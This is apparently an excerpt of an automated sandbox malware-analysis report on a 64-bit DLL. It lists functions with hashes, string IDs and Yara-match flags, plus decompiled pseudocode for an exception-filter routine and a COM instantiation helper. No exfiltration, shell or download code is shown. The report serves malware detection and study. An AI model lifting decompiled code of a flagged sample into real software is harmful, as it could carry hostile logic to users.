                                                                        • Opcode ID: fe00409fb097cb738ccd7bb42c80f1f234878f624b9ce11e10f19b72aa3055a3
                                                                        • Instruction ID: 42ff0017486f0c580c07007e9232ef8c52f42e9ee7a47128e85339809b0d5c8f
                                                                        • Opcode Fuzzy Hash: fe00409fb097cb738ccd7bb42c80f1f234878f624b9ce11e10f19b72aa3055a3
                                                                        • Instruction Fuzzy Hash: 6941B3B490438E8FDF49DF24C88A5DE7BB0FB58358F000A19F865A6290D7B8D664CBC5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180024EF4 Relevance: 5.6, Strings: 4, Instructions: 649COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: .M$B[!$i6F$|l
                                                                        • API String ID: 0-2516401541
                                                                        • Opcode ID: e6daa0ab7f41c0347fc06fabd1ed6e38394c3e7df53648efcc93debd0b8db4cd
                                                                        • Instruction ID: 8c21ae43f5e4cfa4622a55e43bbeba4dec860771b6878c7492ca11bd87e62c3a
                                                                        • Opcode Fuzzy Hash: e6daa0ab7f41c0347fc06fabd1ed6e38394c3e7df53648efcc93debd0b8db4cd
                                                                        • Instruction Fuzzy Hash: 59721771916B888FEBB8CF68C8856CD7BB2FB88314F10421DD80A9B291DB765665CF44
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001C9F0 Relevance: 5.5, Strings: 4, Instructions: 482COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: %d$et$p9$E%
                                                                        • API String ID: 0-2779957693
                                                                        • Opcode ID: 48ec8b1b1bbbc9fc28becce8326644315418b57cb87a2f48306ba2cbfa33ef8b
                                                                        • Instruction ID: 98fa068eb741bd308de9d56aa59bbaf4f2ede45b84b4817a6d028a7b3fe789da
                                                                        • Opcode Fuzzy Hash: 48ec8b1b1bbbc9fc28becce8326644315418b57cb87a2f48306ba2cbfa33ef8b
                                                                        • Instruction Fuzzy Hash: 6432E5715087C88FD798DFA8C58965AFBE1FBC8744F108A1DF486872A0D7B8D949CB42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180028B28 Relevance: 5.2, Strings: 4, Instructions: 164COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: #X$@$^Y62$|4
                                                                        • API String ID: 0-3495465369
                                                                        • Opcode ID: 44ee773b079888a6d96819c394d966fbe2abcf365905940e0a0889ecd021c25c
                                                                        • Instruction ID: 971e87906a4465c081b59b45e421261cb253ebf177ed0449b3519e242e6f9eb4
                                                                        • Opcode Fuzzy Hash: 44ee773b079888a6d96819c394d966fbe2abcf365905940e0a0889ecd021c25c
                                                                        • Instruction Fuzzy Hash: D5515B706197488FD3A8DF18C4867ABB7E1FB8A350F805A1CE4CA87281D774A815CB87
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000B3E4 Relevance: 5.2, Strings: 4, Instructions: 152COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: "7$9DY$wx09$e
                                                                        • API String ID: 0-1896584363
                                                                        • Opcode ID: 6bd8816bd581a18b132a6c70ac9f1e9331ff5facfd4158788a27584ec5e0216b
                                                                        • Instruction ID: 1b10fffb75cb5b67de97ad8de9241c0c1e0782d29bbf252178e1c24b2d5ba037
                                                                        • Opcode Fuzzy Hash: 6bd8816bd581a18b132a6c70ac9f1e9331ff5facfd4158788a27584ec5e0216b
                                                                        • Instruction Fuzzy Hash: 0471E2705087848BD769DF28C59A65FBBF0FBC6744F104A2DF2868A2A0C776D948CB43
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180013724 Relevance: 5.1, Strings: 4, Instructions: 144COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: ,$,$CG$Z$
                                                                        • API String ID: 0-827580499
                                                                        • Opcode ID: cb1d020630babe520e5b577854dfe4b50958e195937fa8a19b62a4c971fd48b7
                                                                        • Instruction ID: 82b054a2af6711699c7ff9b890495f7426cb3b406bec309c32d861da6857e864
                                                                        • Opcode Fuzzy Hash: cb1d020630babe520e5b577854dfe4b50958e195937fa8a19b62a4c971fd48b7
                                                                        • Instruction Fuzzy Hash: B651E6B050C7858FD7B8DF28D486BDABBE0FB98300F10491DE59D87256DB74A885CB86
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180002DC0 Relevance: 5.1, Strings: 4, Instructions: 116COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: $%\$n>$r/
                                                                        • API String ID: 0-92184183
                                                                        • Opcode ID: 27b793fcb724542a7fdcfcd2546d4cab6af2ab84d0f77cd2afb0b0177177f21f
                                                                        • Instruction ID: 8bedfd9a361eafc7a219f1235a05cb53478f46adcfd1ae1c81bc3e9a3443b7a2
                                                                        • Opcode Fuzzy Hash: 27b793fcb724542a7fdcfcd2546d4cab6af2ab84d0f77cd2afb0b0177177f21f
                                                                        • Instruction Fuzzy Hash: 1851077060C7848FD7A8DF18D48979BBBE1FB98344F104A5DE48987396DB749848CB87
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180002AE4 Relevance: 5.1, Strings: 4, Instructions: 99COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: ~$!|$9$R
                                                                        • API String ID: 0-2204746537
                                                                        • Opcode ID: 874daa1b041956f12758c8cf95ade3cec03e4612a361299deda00e6fff0778db
                                                                        • Instruction ID: 22c2e39017c3910d1622799237c7e0c951e9fc1967e53d4e49347ddefa57bcc8
                                                                        • Opcode Fuzzy Hash: 874daa1b041956f12758c8cf95ade3cec03e4612a361299deda00e6fff0778db
                                                                        • Instruction Fuzzy Hash: 9241E3B091034A8BDB48DF68D48A5DE7FF0FB68388F20461DFC5AA6250D37496A4CBC5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180003A9C Relevance: 5.1, Strings: 4, Instructions: 88COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: <n$zk$K$O
                                                                        • API String ID: 0-3311339128
                                                                        • Opcode ID: 4d5dd1ff8121dded616f8b6705543aba11a68348b242f2463e98098af406854a
                                                                        • Instruction ID: 2fce4c1fdba552dfec5c7f7467dfbe1d6e75166bd6b7f80d7bc18aca802010da
                                                                        • Opcode Fuzzy Hash: 4d5dd1ff8121dded616f8b6705543aba11a68348b242f2463e98098af406854a
                                                                        • Instruction Fuzzy Hash: E131087161D745AFC388DF28C19A61ABBE1FBC8754F806A2DF486C7360D774D8158B42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001B558 Relevance: 5.1, Strings: 4, Instructions: 79COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: ;V$?q$C$]v
                                                                        • API String ID: 0-1725616403
                                                                        • Opcode ID: bdda49094d1911bb796a14ae62f81d9f56aa1ca1dcb98ca884b509e6ce0b1d15
                                                                        • Instruction ID: 867b49d14182d134f025b346859c0e669270e55a9c8fcb518a2b69b129044abf
                                                                        • Opcode Fuzzy Hash: bdda49094d1911bb796a14ae62f81d9f56aa1ca1dcb98ca884b509e6ce0b1d15
                                                                        • Instruction Fuzzy Hash: BB41B5B090074E8FDB44DF64C4864CE7FB4FB68398F210619E859A6250D374D6A5CFC5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800213FC Relevance: 5.1, Strings: 4, Instructions: 77COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: [$4q6$h*$o/
                                                                        • API String ID: 0-3502277382
                                                                        • Opcode ID: 60b65c9c856167d8f5a41c1e9bfcf0aa6ec23ec63235e2c1a256ada0dddc482f
                                                                        • Instruction ID: 5c278530d82a22eeee638e7b45cf90dae694dd2d222dd65f3b3669d3e1116570
                                                                        • Opcode Fuzzy Hash: 60b65c9c856167d8f5a41c1e9bfcf0aa6ec23ec63235e2c1a256ada0dddc482f
                                                                        • Instruction Fuzzy Hash: D141B47480034E8FDB48DF64D88A5DE7FB0FB28398F204619F859A6254D7B896A4CBC5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800114A0 Relevance: 5.1, Strings: 4, Instructions: 72COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: :$G(="$Lh$cJ
                                                                        • API String ID: 0-1655878502
                                                                        • Opcode ID: 5aa3bfd74e20475da927db53a56f1c45e16d761b7720a32f1834f4526e61cacd
                                                                        • Instruction ID: b2336b1ba541a42889de647fe2b1cc965c06f6a7aa5a93284a443c7e944b68ee
                                                                        • Opcode Fuzzy Hash: 5aa3bfd74e20475da927db53a56f1c45e16d761b7720a32f1834f4526e61cacd
                                                                        • Instruction Fuzzy Hash: F63182B0528780ABD788DF28C59AD1ABBF1FBC5344F806A2DF8868A390D775D505CB47
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000AFE4 Relevance: 5.1, Strings: 4, Instructions: 66COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: @c$GZ$u$U
                                                                        • API String ID: 0-28169794
                                                                        • Opcode ID: a1b7270ef10c92d4079f8de0212a5e95eca3c261d304f446fad91103a9ecc32b
                                                                        • Instruction ID: e402e67793089d8899d77abdc6e3f31c67a00abbf5f23d01a858f5d0dd01ddf9
                                                                        • Opcode Fuzzy Hash: a1b7270ef10c92d4079f8de0212a5e95eca3c261d304f446fad91103a9ecc32b
                                                                        • Instruction Fuzzy Hash: 71212B71109B45AFD7C8DF68C59961ABBE1FB84744F80A91DF8D68A3A0D7B4D805CB02
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800093AC Relevance: 4.9, Strings: 3, Instructions: 1168COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: #X$~76$^
                                                                        • API String ID: 0-3880336878
                                                                        • Opcode ID: 4bb4c963a43a75b55ca62a4acb8e6e88db8f2921664dad64ac1006d03f51dcf4
                                                                        • Instruction ID: 0fdff884f47af40d092268d62ccad3c4050f1503f93ac40258b20328999ba84c
                                                                        • Opcode Fuzzy Hash: 4bb4c963a43a75b55ca62a4acb8e6e88db8f2921664dad64ac1006d03f51dcf4
                                                                        • Instruction Fuzzy Hash: 65E2B471504BCC8BEBB9DF24CC9D7DD3BA0BB85346F104219D80A9E6A0DBB55B48CB49
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10006C70 Relevance: 4.6, APIs: 3, Instructions: 80COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 31%
                                                                        			E10006C70(void* __edx, void* __edi, char* __rax, void* __rbx, void* __rcx, signed long long __rdx, void* __rdi, void* __rsi, void* __rbp, void* __r8, void* __r9, void* __r12, void* __r13, void* __r14, void* __r15) {
				long long _v0;
				char _v1240;
				long long _v1384;
				char _v1400;
				long long _v1408;
				long long _v1416;
				int _t26;
				void* _t27;
				signed char _t29;
				signed int _t43;
				intOrPtr _t59;
				void* _t63;
				signed long long _t64;
				signed long long _t70;
				void* _t74;
				void* _t79;
				signed long long _t80;
				signed long long _t82;
				void* _t83;
				signed long long _t84;
				void* _t85;
				void* _t88;
				void* _t89;

				_t89 = __r15;
				_t88 = __r14;
				_t87 = __r13;
				_t86 = __r12;
				_t83 = __r9;
				_t79 = __r8;
				_t74 = __rbp;
				_t73 = __rsi;
				_t72 = __rdi;
				_t70 = __rdx;
				_t63 = __rcx;
				_t62 = __rbx;
				_t57 = __rax;
				if(( *0x10016e00 & 0x00000001) != 0) {
					_t41 = 0xa;
					_t26 = E10001E60(_t26, 0xa, __rbx, __rdx, __rdi, __rsi, __r9, __r12, __r13);
				}
				_t27 = E100049D0(_t26, _t57);
				if(_t57 != 0) {
					_t41 = 0x16;
					_t27 = E100049E0(0x16, _t62, _t63, _t70, _t72, _t73, _t74, _t79, _t86, _t87, _t88, _t89);
				}
				if(( *0x10016e00 & 0x00000002) != 0) {
					__imp__RtlCaptureContext();
					r8d = 0x98;
					E10001200(_t27, _t41, 0,  &_v1400, _t70, _t79);
					_v1384 = _v0;
					_v1400 = 0x40000015;
					_v1416 =  &_v1400;
					_t57 =  &_v1240;
					_v1408 =  &_v1240;
					SetUnhandledExceptionFilter(??);
					UnhandledExceptionFilter(??);
				}
				E10001DD0(3, _t57, _t62, _t72, _t73, _t79, _t86);
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t64 =  *((intOrPtr*)(_t83 + 0x38));
				_t85 = _t83;
				_t80 = _t70;
				_t29 =  *_t64;
				r9d = _t29;
				r9d = r9d & 0xfffffff8;
				if((_t29 & 0x00000004) != 0) {
					_t82 =  *((intOrPtr*)(_t64 + 4)) + _t70;
					_t64 =  ~( *(_t64 + 8));
					_t80 = _t82 & _t64;
				}
				_t84 =  *((intOrPtr*)(r9d + _t80));
				_t59 =  *((intOrPtr*)(_t85 + 0x10));
				_t43 =  *((intOrPtr*)(_t59 + 8));
				if(( *(_t64 +  *((intOrPtr*)(_t85 + 8)) + 3) & 0xf) != 0) {
					_t70 = _t70 + _t59;
				}
				E10001050(_t43, _t70 ^ _t84);
				return 1;
			}


























                                                                        0x10006c70
                                                                        0x10006c70
                                                                        0x10006c70
                                                                        0x10006c70
                                                                        0x10006c70
                                                                        0x10006c70
                                                                        0x10006c70
                                                                        0x10006c70
                                                                        0x10006c70
                                                                        0x10006c70
                                                                        0x10006c70
                                                                        0x10006c70
                                                                        0x10006c70
                                                                        0x10006c7e
                                                                        0x10006c80
                                                                        0x10006c85
                                                                        0x10006c85
                                                                        0x10006c8a
                                                                        0x10006c92
                                                                        0x10006c94
                                                                        0x10006c99
                                                                        0x10006c99
                                                                        0x10006ca5
                                                                        0x10006caf
                                                                        0x10006cbc
                                                                        0x10006cc2
                                                                        0x10006cd1
                                                                        0x10006cdb
                                                                        0x10006ce3
                                                                        0x10006ce8
                                                                        0x10006cf0
                                                                        0x10006cf5
                                                                        0x10006d00
                                                                        0x10006d00
                                                                        0x10006d0b
                                                                        0x10006d10
                                                                        0x10006d11
                                                                        0x10006d12
                                                                        0x10006d13
                                                                        0x10006d14
                                                                        0x10006d15
                                                                        0x10006d16
                                                                        0x10006d17
                                                                        0x10006d18
                                                                        0x10006d19
                                                                        0x10006d1a
                                                                        0x10006d1b
                                                                        0x10006d1c
                                                                        0x10006d1d
                                                                        0x10006d1e
                                                                        0x10006d1f
                                                                        0x10006d24
                                                                        0x10006d28
                                                                        0x10006d2b
                                                                        0x10006d2e
                                                                        0x10006d30
                                                                        0x10006d33
                                                                        0x10006d39
                                                                        0x10006d44
                                                                        0x10006d47
                                                                        0x10006d4a
                                                                        0x10006d4a
                                                                        0x10006d50
                                                                        0x10006d54
                                                                        0x10006d58
                                                                        0x10006d65
                                                                        0x10006d6f
                                                                        0x10006d6f
                                                                        0x10006d78
                                                                        0x10006d86

                                                                        APIs
                                                                        • RtlCaptureContext.KERNEL32 ref: 10006CAF
                                                                        • SetUnhandledExceptionFilter.KERNEL32 ref: 10006CF5
                                                                        • UnhandledExceptionFilter.KERNEL32 ref: 10006D00
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: ExceptionFilterUnhandled$CaptureContext
                                                                        • String ID:
                                                                        • API String ID: 2202868296-0
                                                                        • Opcode ID: e4820422f32740516364f94e8a2daba2be71ce4642d84030298d48c01f6df982
                                                                        • Instruction ID: 1e15149a9a8d895d304f0d7c5295f26723e8c8b95e092f1b830c2cd705b4c238
                                                                        • Opcode Fuzzy Hash: e4820422f32740516364f94e8a2daba2be71ce4642d84030298d48c01f6df982
                                                                        • Instruction Fuzzy Hash: EC21D376704B8482FB55CB61E8517EA73A1FB897C9F004226EA8E473A9DF7CC545C740
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10010890 Relevance: 4.6, APIs: 3, Instructions: 54commemoryCOMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 37%
                                                                        			E10010890(intOrPtr __eax, long long __rcx, long long __rdx, long long __r8, long long _a8, long long _a16, long long _a24, intOrPtr _a32) {
				intOrPtr _v24;
				long long _v32;
				long long _v40;
				long long _v56;
				long long _t43;

				_a32 = r9d;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v32 = 0;
				_v40 = 0;
				_t43 =  &_v32;
				_v56 = _t43;
				r8d = 3;
				__imp__CoCreateInstance();
				_v24 = __eax;
				if(_v24 >= 0) {
					__imp__#2();
					_v40 = _t43;
					if(_v40 != 0) {
						if(_a32 == 0) {
							_v24 =  *((intOrPtr*)( *_v32 + 0x20))();
						} else {
							_v24 =  *((intOrPtr*)( *_v32 + 0x18))();
						}
					} else {
						_v24 = 0x8007000e;
					}
				}
				__imp__#6();
				if(_v32 != 0) {
					 *((intOrPtr*)( *_v32 + 0x10))();
				}
				_v32 = 0;
				return _v24;
			}








                                                                        0x10010890
                                                                        0x10010895
                                                                        0x1001089a
                                                                        0x1001089f
                                                                        0x100108a8
                                                                        0x100108b1
                                                                        0x100108ba
                                                                        0x100108bf
                                                                        0x100108cb
                                                                        0x100108da
                                                                        0x100108e0
                                                                        0x100108e9
                                                                        0x100108f4
                                                                        0x100108fa
                                                                        0x10010905
                                                                        0x10010918
                                                                        0x10010954
                                                                        0x1001091a
                                                                        0x10010934
                                                                        0x10010934
                                                                        0x10010907
                                                                        0x10010907
                                                                        0x10010907
                                                                        0x10010905
                                                                        0x1001095d
                                                                        0x10010969
                                                                        0x10010978
                                                                        0x10010978
                                                                        0x1001097b
                                                                        0x1001098c

                                                                        APIs
                                                                        • CoCreateInstance.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,10010CA4), ref: 100108DA
                                                                        • SysAllocString.OLEAUT32 ref: 100108F4
                                                                        • SysFreeString.OLEAUT32 ref: 1001095D
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: String$AllocCreateFreeInstance
                                                                        • String ID:
                                                                        • API String ID: 391255401-0
                                                                        • Opcode ID: 51b7cb5387632387fed241e0d43348075c48b0f9cfe3734762795e9e347b752c
                                                                        • Instruction ID: 251e6a3c284b85b15b296153e50eb048c27b05a509db8f12e69f147ed7d4cc8f
                                                                        • Opcode Fuzzy Hash: 51b7cb5387632387fed241e0d43348075c48b0f9cfe3734762795e9e347b752c
                                                                        • Instruction Fuzzy Hash: 9C219B76628B84C6D791CB15E49434ABBB0F789B94F505116FACA47B28CFBCC485CB40
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800072E0 Relevance: 4.3, Strings: 3, Instructions: 582COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: &6uV$Of,X$T
                                                                        • API String ID: 0-2892051533
                                                                        • Opcode ID: 0273f3564b6bf363f36fb943c18931968eb8129df83c4701b7ffcaff5b180f83
                                                                        • Instruction ID: 3d9b2ad69facc2954facefacaa8bed220532494de6b51e436c2e8561a7243ef4
                                                                        • Opcode Fuzzy Hash: 0273f3564b6bf363f36fb943c18931968eb8129df83c4701b7ffcaff5b180f83
                                                                        • Instruction Fuzzy Hash: BE42D771E14B0C8BDB69CFB8C44AADDBBF2EB54344F20411DD80AAB292D7B45919CF85
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001FC70 Relevance: 4.3, Strings: 3, Instructions: 537COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: #X$<?xA$`_v
                                                                        • API String ID: 0-322589193
                                                                        • Opcode ID: 6b70401809f5a4e380f0709831ac7f15e8a4fc17e6b3291d5bd7555e7f7de519
                                                                        • Instruction ID: 3fab42d1854da7c17102c12455d265c84b1f7664e83bb041237185e548ee46d4
                                                                        • Opcode Fuzzy Hash: 6b70401809f5a4e380f0709831ac7f15e8a4fc17e6b3291d5bd7555e7f7de519
                                                                        • Instruction Fuzzy Hash: 8852F7B1A047888BDBB8CF64C8997DD7BF0FB48318F90421DEA0A9B291DB745645CF49
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000E254 Relevance: 4.2, Strings: 3, Instructions: 456COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: <$FB$h61
                                                                        • API String ID: 0-3221223029
                                                                        • Opcode ID: 0eaf43e210efa56df5064777eb6f9afb9e184fdf3fbed814589e450bea22d2d7
                                                                        • Instruction ID: 03b45de209bb5bae0a6796b82c4fd20f76b17186d60dcbb007c22234dc7c6319
                                                                        • Opcode Fuzzy Hash: 0eaf43e210efa56df5064777eb6f9afb9e184fdf3fbed814589e450bea22d2d7
                                                                        • Instruction Fuzzy Hash: 2A32F37150478DCBDBADCF68C88A59E7BB1FF44394F604219FA0297290C7B6DA84CB81
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800041A8 Relevance: 4.2, Strings: 3, Instructions: 417COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: 6IS$Y'$g&k
                                                                        • API String ID: 0-1347275694
                                                                        • Opcode ID: 5972e9e9ca915041273c62e911c59448f4779c96982aba4ba3a57c08c14b6c06
                                                                        • Instruction ID: b0fd14e35fbc1634c062bb27636b0d2e52b9ce73989b13c05360d5d02d44d293
                                                                        • Opcode Fuzzy Hash: 5972e9e9ca915041273c62e911c59448f4779c96982aba4ba3a57c08c14b6c06
                                                                        • Instruction Fuzzy Hash: 7612DFB160670DCBDB68CF28C59A69D3BE1FF54308F504129FC2A8B2A1D774D929CB48
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180017144 Relevance: 3.9, Strings: 3, Instructions: 189COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: \z$0k$|1#B
                                                                        • API String ID: 0-2604729280
